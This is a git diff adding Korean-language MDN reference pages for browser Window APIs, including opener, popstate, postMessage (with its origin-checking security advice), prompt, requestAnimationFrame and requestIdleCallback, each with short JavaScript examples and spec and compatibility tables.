Tutorials

+ + + +

References

+ + diff --git a/files/ko/web/api/window/opener/index.html b/files/ko/web/api/window/opener/index.html new file mode 100644 index 0000000000..78dc86c861 --- /dev/null +++ b/files/ko/web/api/window/opener/index.html @@ -0,0 +1,52 @@ +--- +title: Window.opener +slug: Web/API/Window/opener +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/opener +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("Window")}} 인터페이스의 opener 속성은 {{domxref("Window.open", "open()")}}을 사용해 현재 창을 열었던 창의 참조를 반환합니다.

+ +

예제로 설명하자면, 창 A가 창 B를 열었을 때 B.openerA를 반환합니다.

+ +

구문

+ +
const openerWindow = window.opener
+
+ +

+ +

{{domxref("window.open()")}}을 사용하거나 {{htmlattrxref("target", "a")}} 특성을 지정한 링크로 현재 창을 연 {{domxref("Window")}}. 현재 창이 다른 창에 의해 생성됐거나 링크로 열리지 않았다면 {{jsxref("null")}}.

+ +

최근 브라우저에서는 {{htmlelement("a")}} 요소에 rel="noopener noreferrer" 특성을 지정하면 window.opener 참조 설정을 방지합니다. 따라서 생성된 창의 opener 속성에 접근해도 null을 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-opener', 'window.opener')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.opener")}}

diff --git a/files/ko/web/api/window/orientationchange_event/index.html b/files/ko/web/api/window/orientationchange_event/index.html new file mode 100644 index 0000000000..6426f678f7 --- /dev/null +++ b/files/ko/web/api/window/orientationchange_event/index.html @@ -0,0 +1,66 @@ +--- +title: orientationchange +slug: Web/API/Window/orientationchange_event +translation_of: Web/API/Window/orientationchange_event +--- +

orientationchange 이벤트는 장치의 방향이 바뀔 때 호출 된다.

+ +

General info

+ +
+
Specification
+
Screen Orientation
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Screen
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Example

+ +
// Note that "orientationchange" and screen.orientation are unprefixed in the following
+// code although this API is still vendor-prefixed browsers implementing it.
+screen.addEventListener("orientationchange", function() {
+    alert("the orientation of the device is now " + screen.orientation);
+});
+
diff --git a/files/ko/web/api/window/outerwidth/index.html b/files/ko/web/api/window/outerwidth/index.html new file mode 100644 index 0000000000..272c415bb7 --- /dev/null +++ b/files/ko/web/api/window/outerwidth/index.html @@ -0,0 +1,101 @@ +--- +title: Window.outerWidth +slug: Web/API/Window/outerWidth +translation_of: Web/API/Window/outerWidth +--- +
{{APIRef}}
+ +

요약

+ +

Window.outerWidth 는 브라우저 윈도우 바깥쪽의 폭을 얻어온다. 이것은 브라우저 윈도우의 사이드바와 가장자리 경계선을 포함한 폭을 나타내어 준다.

+ +

이 값은 읽기전용이다. 그리고 기본값이 없다.

+ +

문법

+ +
outWindowWidth = window.outerWidth;
+
+ +

반환이 끝나면 outWindowWidth는 윈도우의 바깥경계를 포함한 너비(폭)를 담고 있다.

+ +

노트

+ +

이 사이즈를 변경하기 위해서는, {{domxref("window.resizeBy()")}} 또는 {{domxref("window.resizeTo()")}}를 참조하세요.

+ +

윈도우의 안쪽 폭 즉, 현재 표시되고있는 창의 폭을 얻으려면  {{domxref("window.innerWidth")}}를 참조하세요.

+ +

브라우저 호환성

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
Feature크롬파이어폭스 (Gecko)인터넷 익스플로러오페라사파리
기초 지원1{{CompatGeckoDesktop(1.0)}}993
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
기초 지원1{{CompatGeckoMobile(1.0)}}993
+
+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-outerwidth', 'Window.outerWidth') }}{{ Spec2('CSSOM View') }} 
+ +

See also

+ + diff --git a/files/ko/web/api/window/pageyoffset/index.html b/files/ko/web/api/window/pageyoffset/index.html new file mode 100644 index 0000000000..4579abd3f8 --- /dev/null +++ b/files/ko/web/api/window/pageyoffset/index.html @@ -0,0 +1,164 @@ +--- +title: Window.pageYOffset +slug: Web/API/Window/pageYOffset +tags: + - API + - Property + - Reference + - Window +translation_of: Web/API/Window/pageYOffset +--- +
{{ APIRef("CSSOM View") }}
+ +

{{domxref("Window")}} 인터페이스의 pageYOffset 읽기 전용 속성은 {{domxref("Window.scrollY", "scrollY")}}의 다른 이름으로, 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.

+ +

일부 오래된 브라우저는 scrollY 대신 pageYOffset만 지원하는 경우가 있지만, 노후 환경을 신경쓰지 않아도 된다면 둘 중 아무거나 사용해도 괜찮습니다.

+ +

수평 스크롤을 나타내는 {{domxref("Window.pageXOffset", "pageXOffset")}} 속성 역시 {{domxref("Window.scrollX", "scrollX")}}의 다른 이름입니다.

+ +

구문

+ +
yOffset = window.pageYOffset;
+
+ +

+ +

{{domxref("Window")}} 안의 {{domxref("Document")}}가 수직 방향으로 스크롤된 거리를 픽셀 단위로 나타낸 부동소숫점 수. 단일 픽셀보다 높은 수준의 정밀도를 가지므로 정수가 아닐 수 있습니다. 0.0은 창의 콘텐츠 영역과 문서의 위쪽 모서리 위치가 일치함을 나타냅니다.

+ +

pageYOffset은 {{domxref("Window.scrollY")}}의 다른 이름이므로, 값에 대한 더 자세한 정보는 해당 문서를 방문해주세요.

+ +

예제

+ + + +

In this example, an {{HTMLElement("iframe")}} is created and filled with content, then a specific element within the document is scrolled into view in the frame. Once that's done, the vertical scroll position is checked by looking at the value of pageYOffset in the frame's {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}.

+ +

HTML

+ +

HTML은 단 두 개의 요소를 가진 짧은 코드입니다. 하나는 스크롤할 문서를 담은 {{HTMLElement("iframe")}}이고, 다른 하나는 스크롤을 끝냈을 때 pageYOffset의 값을 기록할 {{HTMLElement("div")}}입니다.

+ +
<iframe id="frame">
+</iframe>
+
+<div id="info">
+</div>
+ +

JavaScript

+ +
var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "스크롤 후 Y축 차이: " +
+                 frame.contentWindow.pageYOffset + " 픽셀";
+ +

The JavaScript code begins by getting into frame and info the <iframe> element that contains our content as well as the <div> element into which we'll output the result of our scroll position check. It then gets a reference to the element we want to scroll into view calling {{domxref("Document.getElementById", "getElementById()")}} on the frame's {{domxref("HTMLIFrameElement.contentDocument")}}.

+ +

With the target element in hand, we set the {{domxref("Element.scrollTop", "scrollTop")}} of the frame's {{domxref("Document.scrollingElement", "scrollingElement")}} to the {{domxref("Element.offsetTop", "offsetTop")}} of the target element. By doing so, we set the vertical scrolling position of the frame's document so that it's the same as the top edge of the target element.

+ +

This will automatically set the scrolling position to the maximum possible value if the attempted scroll would exceed the maximum. This prevents us from falling off the edge of the document. Nobody wants to know what's out there. There might be dragons.

+ + + +

결과

+ +

The result follows. Note that the frame's contents have been scrolled to show the section named "Overview", and that the value of the pageYOffset property is shown with the corresponding value.

+ +

{{EmbedLiveSample("예제", 650, 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}{{ Spec2('CSSOM View') }}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.pageYOffset")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/popstate_event/index.html b/files/ko/web/api/window/popstate_event/index.html new file mode 100644 index 0000000000..5012c22d1b --- /dev/null +++ b/files/ko/web/api/window/popstate_event/index.html @@ -0,0 +1,66 @@ +--- +title: popstate +slug: Web/API/Window/popstate_event +tags: + - API + - Event + - History + - History API + - Reference +translation_of: Web/API/Window/popstate_event +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 인터페이스의 popstate 이벤트는 사용자의 세션 기록 탐색으로 인해 현재 활성화된 기록 항목이 바뀔 때 발생합니다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 됩니다.

+ +

history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의합니다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. 

+ +

브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리합니다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킵니다. 하지만 Firefox 는 그렇지 않습니다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("PopStateEvent")}}
Event handler property{{domxref("WindowEventHandlers.onpopstate", "onpopstate")}}
+ +

브라우저 호환성

+ +

{{Compat("api.Window.popstate_event")}}

+ +

Example

+ +

예시를 보자, 다음의 코드를 실행하는 http://example.com/example.html 의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.

+ +
window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

원래의 히스토리 엔트리인 (http://example.com/example.html) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.

+ +

See Also

+ + diff --git a/files/ko/web/api/window/postmessage/index.html b/files/ko/web/api/window/postmessage/index.html new file mode 100644 index 0000000000..34aa8a67fe --- /dev/null +++ b/files/ko/web/api/window/postmessage/index.html @@ -0,0 +1,183 @@ +--- +title: Window.postMessage() +slug: Web/API/Window/postMessage +translation_of: Web/API/Window/postMessage +--- +
{{ApiRef("HTML DOM")}}
+ +

window.postMessage() 메소드는 {{domxref("Window")}} 오브젝트 사이에서 안전하게 cross-origin 통신을 할 수 있게 합니다. 예시로, 페이지와 생성된 팝업 간의 통신이나, 페이지와 페이지 안의 iframe 간의 통신에 사용할 수 있습니다.

+ +

일반적으로, 다른 페이지 간의 스크립트는 각 페이지가 같은 프로토콜, 포트 번호와 호스트을 공유하고 있을 때에("동일 출처 정책"으로도 불려 집니다.) 서로 접근할 수 있습니다. window.postMessage()는 이 제약 조건을 안전하게 우회하는 기능을 제공합니다.

+ +

대체로, 한 window는 다른 window를 참조할 수 있고(예시, targetWindow = window.opener), targetWindow.postMessage()를 통해 다른 window에 {{domxref("MessageEvent")}}를 전송할 수 있습니다. 이벤트를 받는 window는 이를 통해 필요에 따라 이벤트를 처리할 수 있습니다. window.postMessage()를 통해 전달된 인자(예시, "message")는 이벤트 객체를 통해 이벤트를 받는 window에서 사용할 수 있습니다.

+ +

문법

+ +
targetWindow.postMessage(message, targetOrigin, [transfer]);
+ +
+
targetWindow
+
메세지를 전달 받을 window의 참조. 참조를 취득할 방법으로는 다음과 같은 것이 있습니다: +
    +
  • {{domxref("Window.open")}} (새 창을 만들고 새 창을 참조할 때),
  • +
  • {{domxref("Window.opener")}} (새 창을 만든 window를 참조할 때),
  • +
  • {{domxref("HTMLIFrameElement.contentWindow")}} (부모 window에서 임베디드된 {{HTMLElement("iframe")}}을 참조할 때),
  • +
  • {{domxref("Window.parent")}} (임베디드된 {{HTMLElement("iframe")}}에서 부모 window를 참조할 때),
  • +
  • {{domxref("Window.frames")}} + an index value (named or numeric).
  • +
+
+
message
+
다른 window에 보내질 데이터. 데이터는 the structured clone algorithm을 이용해 직렬화됩니다. 이를 통해 직렬화를 직접할 필요 없이 대상 window에 다양한 데이터 객체를 안전하게 전송할 수 있습니다. [1]
+
targetOrigin
+
targetWindow의 origin을 지정합니다. 이는 전송되는 이벤트에서 사용되며, 문자열 "*"(별도로 지정하지 않음을 나타냄) 혹은 URI이어야 합니다. 이벤트를 전송하려 할 때에 targetWindow의 스키마, 호스트 이름, 포트가 targetOrigin의 정보와 맞지 않다면, 이벤트는 전송되지 않습니다. 세 가지 모두 일치해야 이벤트가 전송됩니다. 이는 메세지를 보내는 곳을 제안하기 위함입니다. 예를 들어, postMessage()를 통해 비밀번호가 전송된다면, 악의적인 제 3자가 가로채지 못하도록, targetOrigin을 반드시 지정한 수신자와 동일한 URI를 가지도록 설정하는 것이 정말 중요합니다. 다른 window의 document의 위치를 알고 있다면, 항상 targetOrigin* 말고 특정한 값을 설정하세요. 특정한 대상을 지정하지 않으면 악의적인 사이트에 전송하는 데이터가 공개되어 버립니다.
+
transfer {{optional_Inline}}
+
일련의 {{domxref("Transferable")}} 객체들. 메세지와 함께 전송됩니다. 이 객체들의 소유권은 수신 측에게 전달되며, 더 이상 송신 측에서 사용할 수 없습니다.
+
+ +

디스페치 이벤트(The dispatched event)

+ +

 이하의 JavaScript를 실행하면 otherWindow 에서 전달된 메시지를 받을 수 있습니다:

+ +
window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+
+ +

전달된 메시지의 프로퍼티는 다음과 같습니다:

+ +
+
data
+
다른 윈도우에서 온 오브젝트.
+
origin
+
postMessage 가 호출될 때 메시지를 보내는 윈도우의 origin.
+ 이 문자열은 프로토콜과 "://", 호스트 명(존재할 경우), 그리고 ":"의 뒤에 이어 지는 포트 번호가 연결된 것입니다. (포트 번호는 포트 번호가 명기되었거나 주어진 프로토콜의 디폴트 포트와 다를 경우). 전형적인 origin의 예로 https://example.org (이 경우 port 443), http://example.net (이 경우 port 80), and http://example.com:8080가 있습니다. 이  origin은 postMessage 호출 이후 다른 위치로 이동되었을 수 있는 해당 윈도우의 현재 또는 미래의  origin 이 보장되지 않는다는 점에 주의하세요.
+
source
+
메시지를 보낸  window 오브젝트에 대한 참조.
+ 이것을 사용함으로 다른 orign에 있는 두 개의 윈도우에서 쌍방향 통신을 확립할 수 있습니다.
+
+ +

보안 문제(Security concerns)

+ +

다른 사이트로부터 메시지를 받고 싶지 않다면,  message 이벤트를 위해 어떠한 이벤트 리스너도 추가하지 마세요. 이것은 보안 문제를 피할 수 있는 단순명료한 방법입니다.

+ +

다른 사이트로부터 메시지를 받고자 한다면, origin과 추가로 source 프로퍼티를 이용해 항상 보내는 쪽의 신원을 확인하세요. 임의의 어떤 윈도우(예: http://evil.example.com를 포함)는 다른 윈도우에 메시지를 보낼 수 있으며, 알 수 없는 발신자가 악의적인 메시지를 보내지 않는다는 보장이 없습니다. 그러나 신원을 확인했더라도 수신된 메시지의 구문을 항상 확인해야 합니다. 그렇지 않으면 신뢰할 수 있는 메시지만 전송할 것으로 기대한 사이트의 보안 구멍으로 인해 크로스 사이트 스크립트 빈틈이 생길 수 있습니다.

+ +

postMessage 를 이용해 다른 윈도우로 데이터를 보낼 때, 항상 정확한 타겟 origin (*가 아니라) 을 지정하세요. 악의적인 사이트는 당신이 모르는 사이에 윈도우의 위치를 변경할 수 있고, 따라서 postMessage를 사용하여 전송된 데이터를 가로챌 수 있습니다.

+ +

Example

+ +
/*
+ * <http://example.com:8080>에 있는 윈도우 A의 스크립트:
+ */
+
+var popup = window.open(...popup details...);
+
+// 팝업이 완전히 로드되었을 때:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?  (might be
+  // different from what we originally opened, for example).
+  if (event.origin !== "http://example.com")
+    return;
+
+  // event.source is popup
+  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+
+ +
/*
+ * In the popup's scripts, running on <http://example.com>:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source is window.opener
+  // event.data is "hello there!"
+
+  // Assuming you've verified the origin of the received message (which
+  // you must do in any case), a convenient idiom for replying to a
+  // message is to call postMessage on event.source and provide
+  // event.origin as the targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+
+ +

Notes

+ +

윈도우 document의 장소와 무관하게, 임의의 윈도우는 언제든지 메시지를 보내기 위해 임의의 다른 윈도우에 있는 함수에 접근할 수도 있습니다. 그래서 이벤트 리스너는 메시지를 취득할 때, origin 또는 source 프로퍼티를 이용해, 먼저 메시지 송신자의 식별 정보를 체크해야만 합니다. 이것은 아무리 강조해도 지나치지 않습니다. 왜냐하면, origin 또는 source 프로퍼티의 체크 실패는 크로스 사이트 스크립팅 공격을 가능하게 하기 때문입니다.

+ +

비동기로 전달된 스크립트(타임아웃, 유저 생성 이벤트)에서, postMessage의 호출자의 판별이 불가능할 때, postMessage에 의해 보내진 이벤트를 기다리는 이벤트 핸들러는 예외를 발생시킵니다.

+ +

postMessage()보류 중인 모든 실행 컨텍스트가 완료된 후에만 {{domxref("MessageEvent")}}을 발송하도록 스케줄합니다. 예를 들어, 이벤트 핸들러에서 postMessage()가 호출되는 경우, {{domxref("MessageEvent")}}가 발송되기 전에 해당 이벤트에 대한 나머지 핸들러와 마찬가지로 이벤트 핸들러는 완료까지 실행된다.

+ +

전달된 이벤트의 origin 프로퍼티의 값은 호출하는 윈도우의 document.domain 현재 값에 영향을 받지 않습니다.

+ +

IDN 호스트 명에 한하여, origin 프로퍼티 값은 일관되게 Unicode 또는 punycode가 아닙니다. 그래서, IDN 사이트로 부터 메시지를 기대하는 경우 최상의 호환성 체크를 하기위해, IDN과 Punycode의 값 모두를 체크하세요. 이 값은 결국 일관되게 IDN이 될 것이지만, 현재로서는 IDN과 Punycode 양식을 모두 처리해야 합니다.

+ +

송신 창에 javascript: 또는data: URL이 있을 때의 origin 프로퍼티의 값은 URL을 로드한 스크립트의 origin입니다.

+ +

Using window.postMessage in extensions {{Non-standard_inline}}

+ +

window.postMessage는 크롬 코드(예: 확장 코드 및 권한 코드)로 실행되는 JavaScript에서 사용할 수 있지만, 발송된 이벤트의 source 프로퍼티는 보안 제한으로 항상 null입니다. (다른 프로퍼티에는 예상 값이 있습니다.)

+ +

콘텐츠 또는 웹 컨텍스트 스크립트가 targetOrigin을 지정하여 확장 스크립트(백그라운드 스크립트 또는 콘텐츠 스크립트)와 직접 통신하는 것은 불가능합니다. 웹 또는 콘텐츠 스크립트는 "*"targetOrigin이 포함된 window.postMessage를 사용하여 모든 리스너에게 브로드캐스트할 수 있지만, 확장은 이러한 메시지의 발신지를 확인할 수 없고 다른 리스너(제어하지 않는 수신자 포함)가 수신할 수 있기 때문에 이 작업은 중지됩니다. 

+ +

컨텐츠 스크립트는 runtime.sendMessage 를 사용하여 백그라운드 스크립트와 통신해야 합니다. 웹 컨텍스트 스크립트는 사용자 지정 이벤트를 사용하여 컨텐츠 스크립트(필요한 경우 게스트 페이지에서 스누핑을 방지하기 위해 임의로 생성된 이벤트 이름 포함)와 통신할 수 있습니다.

+ +

마지막으로, file: URL의 페이지의 메시지를 보낼 경우 targetOrigin 파라미터를 "*"로 할 필요가 있습니다. file:// 은 보안 제한으로 사용할 수 없으며 이 제한은 향후 수정될 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.postMessage")}} 

+ +

See also

+ + diff --git a/files/ko/web/api/window/prompt/index.html b/files/ko/web/api/window/prompt/index.html new file mode 100644 index 0000000000..7817f6e8b3 --- /dev/null +++ b/files/ko/web/api/window/prompt/index.html @@ -0,0 +1,94 @@ +--- +title: Window.prompt() +slug: Web/API/Window/prompt +tags: + - API + - DOM + - Method + - Reference + - Window +translation_of: Web/API/Window/prompt +--- +
{{ApiRef("Window")}}
+ +

Window.prompt()는 사용자가 텍스트를 입력할 수 있도록 안내하는 선택적 메세지를 갖고 있는 대화 상자를 띄웁니다.

+ +

구문

+ +
result = window.prompt(message, default);
+
+ +

매개변수

+ +
+
message {{optional_inline}}
+
사용자에게 보여줄 문자열. 프롬프트 창에 표시할 메세지가 없으면 생략할 수 있습니다.
+
default {{optional_inline}}
+
텍스트 입력 필드에 기본으로 채워 넣을 문자열. Internet Explorer 7과 8에서는 이 인자에 값을 지정하지 않으면 문자열 "undefined"가 지정됨에 유의하세요.
+
+ +

반환 값

+ +

사용자가 입력한 문자열, 또는 null.

+ +

예제

+ +
let sign = prompt("당신의 별자리는 무엇입니까?");
+
+if (sign.toLowerCase() === "전갈자리") {
+  alert("와! 저도 전갈자리예요!");
+}
+
+// prompt 기능을 쓰는 방법은 다양합니다.
+sign = window.prompt(); // 빈 대화 상자를 엽니다.
+sign = prompt(); // 빈 대화 상자를 엽니다.
+sign = window.prompt("님 지금 기분 좋아요?"); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄웁니다.
+sign = window.prompt("님 지금 기분 좋아요?", "네."); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄우되 기본적으로 입력되어 있는 값은 "네."로 합니다.
+ +

사용자가 확인 버튼을 누르면 입력부의 문자열을 반환합니다. 만약 사용자가 아무것도 입력하지 않고 확인 버튼을 누르면 빈 문자열을 반환합니다. 만약 사용자가 취소 버튼을 누르면 null을 반환합니다.

+ +

상기의 대화 상자는 OS X 상의 Chrome에서 다음과 같이 보입니다.

+ +

prompt() dialog in Chrome on OS X

+ +

비고

+ +

대화 상자는 한 줄의 텍스트 상자, 한 개의 취소 버튼과 한 개의 확인 버튼을 갖고, 사용자가 텍스트 상자에 입력한 문자열(빈 문자열일 수 있음)을 반환합니다.

+ +

대화 상자는 modal window(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)로, 사용자는 대화 상자가 닫힐 때까지 나머지 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 modal window)를 만드는 함수를 남용하면 안 됩니다.

+ +

이 함수가 반환하는 값은 문자열이라는 점에 유의하세요. 이는 사용자가 입력한 값을 다른 자료형으로 바꿔야 할 때가 있음을 뜻합니다. 예를 들어, 만약 사용자의 대답이 Number가 되어야 한다면 반환 값을 직접 변환해야 합니다.

+ +

 

+ +
const aNumber = Number(window.prompt("Type a number", ""));
+ +

 

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Window.prompt")}}

+ +

관련 문서

+ + diff --git a/files/ko/web/api/window/requestanimationframe/index.html b/files/ko/web/api/window/requestanimationframe/index.html new file mode 100644 index 0000000000..d85946dee3 --- /dev/null +++ b/files/ko/web/api/window/requestanimationframe/index.html @@ -0,0 +1,112 @@ +--- +title: window.requestAnimationFrame() +slug: Web/API/Window/requestAnimationFrame +tags: + - API + - Animations + - DOM + - DOM 레퍼런스 + - requestAnimationFrame + - 게임 + - 그래픽 + - 그리기 + - 레퍼런스 + - 메소드 + - 성능 + - 스케줄링 + - 윈도우 + - 자바스크립트 타이머 + - 중급 +translation_of: Web/API/window/requestAnimationFrame +--- +

{{APIRef}}
+ window.requestAnimationFrame()은 브라우저에게 수행하기를 원하는 애니메이션을 알리고 다음 리페인트가 진행되기 전에 해당 애니메이션을 업데이트하는 함수를 호출하게 합니다. 이 메소드는 리페인트 이전에 실행할 콜백을 인자로 받습니다.

+ +
노트: 다음 리페인트에서 그 다음 프레임을 애니메이트하려면 콜백 루틴이 반드시 스스로 requestAnimationFrame()을 호출해야합니다.
+ +

화면에 새로운 애니메이션을 업데이트할 준비가 될때마다 이 메소드를 호출하는것이 좋습니다. 이는 브라우저가 다음 리페인트를 수행하기전에 호출된 애니메이션 함수를 요청합니다. 콜백의 수는 보통 1초에 60회지만, 일반적으로 대부분의 브라우저에서는 W3C 권장사항에 따라 그 수가 디스플레이 주사율과 일치하게됩니다. 대부분의 최신 브라우저에서는 성능과 배터리 수명 향상을 위해 requestAnimationFrame() 호출은 백그라운드 탭이나 hidden {{ HTMLElement("iframe") }}에서 실행이 중단됩니다.

+ +

콜백 메소드에는 requestAnimationFrame()이 대기된 콜백을 실행하는 시점을 나타내는 단일 인자 {{domxref("DOMHighResTimeStamp")}}가 전달됩니다. 따라서, 모든 이전 콜백의 작업 부하를 계산하는동안 시간이 지나갔음에도 불구하고 단일 프레임에서의 다중 콜백은 각각 동일한 타임스탬프를 받습니다. 이 타임스탬프는 밀리초 단위의 십진수지만, 최소 정밀도는 1ms (1000 µs) 입니다.

+ +

구문

+ +
window.requestAnimationFrame(callback);
+
+ +

파라미터

+ +
+
callback
+
다음 리페인트를 위한 애니메이션을 업데이트할 때 호출할 함수입니다. 콜백 함수에는 requestAnimationFrame()이 콜백 함수 실행을 시작할 때의 시점을 나타내는 {{domxref('performance.now()')}} 에 의해 반환되는 것과 유사한 {{domxref("DOMHighResTimeStamp")}} 단일 인자가 전달됩니다.
+
+ +

반환 값

+ +

콜백 리스트의 항목을 정의하는 고유한 요청 id 인 long 정수 값. 0 이 아니라는것 외에는 다른 추측을 할 수가 없는 값입니다. 이 값을 {{domxref("window.cancelAnimationFrame()")}} 에 전달해 콜백 요청을 취소할 수 있습니다.

+ +

예시

+ +
var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+element.style.position = 'absolute';
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  element.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress < 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+
+ +

노트

+ +

인터넷 익스플로러와 Edge 17 버전 이하는 페인트 사이클 이전에 requestAnimationFrame 실행을 보장하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}{{Spec2('HTML WHATWG')}}변경 사항 없음, 이 전 것을 대체.
{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}{{Spec2('RequestAnimationFrame')}}초기 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.requestAnimationFrame")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/window/requestidlecallback/index.html b/files/ko/web/api/window/requestidlecallback/index.html new file mode 100644 index 0000000000..e691bf3f07 --- /dev/null +++ b/files/ko/web/api/window/requestidlecallback/index.html @@ -0,0 +1,76 @@ +--- +title: window.requestIdleCallback() +slug: Web/API/Window/requestIdleCallback +tags: + - API + - DOM + - DOM Reference + - JavaScript timers + - Method + - Reference + - Window + - requestIdleCallback +translation_of: Web/API/Window/requestIdleCallback +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+ +

window.requestIdleCallback() 메서드는 브라우저의 idle 상태에 호출될 함수를 대기열에 넣습니다. 이를 통해 개발자는 애니메이션 및 입력 응답과 같은 대기 시간이 중요한 이벤트에 영향을 미치지 않고 메인 이벤트 루프에서 백그라운드 및 우선 순위가 낮은 작업을 수행 할 수 있습니다. 함수는 일반적으로 first-in-first-out(FIFO) 순서로 호출됩니다. 하지만, timeout 옵션이 지정된 callback은 제한 시간이 지나기 전에 이들을 실행하기 위해 순서에 맞지 않게 호출될 수 있습니다.

+ +

idle callback 안에서  requestIdleCallback() 을 호출하여 다음 패스가 이벤트 루프를 통과하는 즉시 다른 callback을 예약할 수 있습니다.

+ +
필수적인 작업이라면 timeout 옵션을 사용하는 것을 강력히 권장합니다.  사용하지 않을 경우 callback이 실행되기전에 몇 초 이상 소요될 수 있습니다.
+ +

Syntax

+ +
var handle = window.requestIdleCallback(callback[, options])
+ +

Return value

+ +

실행 ID. {{domxref("window.cancelIdleCallback()")}} 메서드에 인자로 전달하여 callback 실행을 취소할 수 있습니다.

+ +

Parameters

+ +
+
callback
+
이벤트 루프가 유휴 상태가 될 때 호출되어야 하는 함수. callback 함수는 {{domxref("IdleDeadline")}} 객체를 인자로 전달받습으며 이 객체를 통해 타임아웃 기간이 만료되어 callback이 실행되었는지 여부를 알 수 있습니다.
+
options {{optional_inline}}
+
선택적으로 사용가능한 option 설정. 현재는 하나의 property만 정의 되어 있습니다 : +
    +
  • timeout: 만약timeout 이 지정되어 있고 양수일 경우,  timeout 밀리세컨드가 지날 때까지 callback이 실행되지 않았다면 성능상에 부정적인 영향을 미치는 위험이 있더라도 다음 idle 상태에 callback이 호출됩니다.
  • +
+
+
+ +

Example

+ +

Cooperative Scheduling of Background Tasks API 포스트의 complete example 예제를 참조해 주십시오.

+ +

Specifications

